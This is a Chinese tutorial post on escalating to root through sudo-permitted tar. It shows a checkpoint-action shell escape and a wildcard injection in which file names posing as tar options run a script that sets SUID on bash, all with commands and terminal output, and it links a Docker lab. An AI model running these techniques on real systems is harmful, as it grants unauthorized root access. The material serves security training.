Linux提权系列 - tar

1,148 阅读1分钟

概述

tar是Linux环境下的归档打包工具,可以将多个文件合并为一个文件,其最初的设计目的是将文件备份到磁带上(tape archive),因而得名tar。

当以root权限运行tar时,有多种可能性可以进行提权。

示例1

用户可以通过sudo运行tar,且没有任何命令行参数限制

test@b66231ae0dc1:~$ sudo -l
User test may run the following commands on b66231ae0dc1:
    (ALL) NOPASSWD: /usr/bin/tar
test@b66231ae0dc1:~$

运行以下命令可以提权

test@b66231ae0dc1:~$ id
uid=1000(test) gid=1000(test) groups=1000(test)

test@b66231ae0dc1:~$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names

# id
uid=0(root) gid=0(root) groups=0(root)
#

示例2

用户可以通过sudo运行tar,且命令行参数包含匹配符('*')

test@b66231ae0dc1:~$ sudo -l
Matching Defaults entries for test on b66231ae0dc1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User test may run the following commands on b66231ae0dc1:
    (ALL) NOPASSWD: /usr/bin/tar cvvf backup.tar *
test@b66231ae0dc1:~$

通过以下步骤提权

首先创建shell.sh文件,运行该脚本会将SUID权限赋予/usr/bin/bash

test@b66231ae0dc1:~$ echo "chmod u+s /usr/bin/bash" > shell.sh

然后创建两个空文件,文件名分别为--checkpoint-action=exec=sh shell.sh--checkpoint=1

test@b66231ae0dc1:~$ echo "" > "--checkpoint-action=exec=sh shell.sh"
test@b66231ae0dc1:~$ echo "" > "--checkpoint=1"

test@b66231ae0dc1:~$ ls -alrt

-rw-rw-r--. 1 test test   24 Sep  8 05:06  shell.sh
-rw-rw-r--. 1 test test    1 Sep  8 05:06 '--checkpoint-action=exec=sh shell.sh'
drwxr-x---. 1 test test  123 Sep  8 05:06  .
-rw-rw-r--. 1 test test    1 Sep  8 05:06 '--checkpoint=1'
```None

通过`sudo`运行`tar`

```None
test@b66231ae0dc1:~$ sudo tar cvvf backup.tar *
-rw-rw-r-- test/test        24 2022-09-08 05:06 shell.sh

运行完成后,可以看到/usr/bin/bash有了SUID

test@b66231ae0dc1:~$ ls -alrt /usr/bin/bash
-rwsr-xr-x. 1 root root 1396520 Jan  6  2022 /usr/bin/bash

最后使用bash提权

test@b66231ae0dc1:~$ id
uid=1000(test) gid=1000(test) groups=1000(test)
test@b66231ae0dc1:~$ bash -p
bash-5.1# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)

实战

下面的Dockerfile提供了一个基于Ubuntu的试验环境,可用于复现以上的提权过程。

github.com/wuzhang72/L…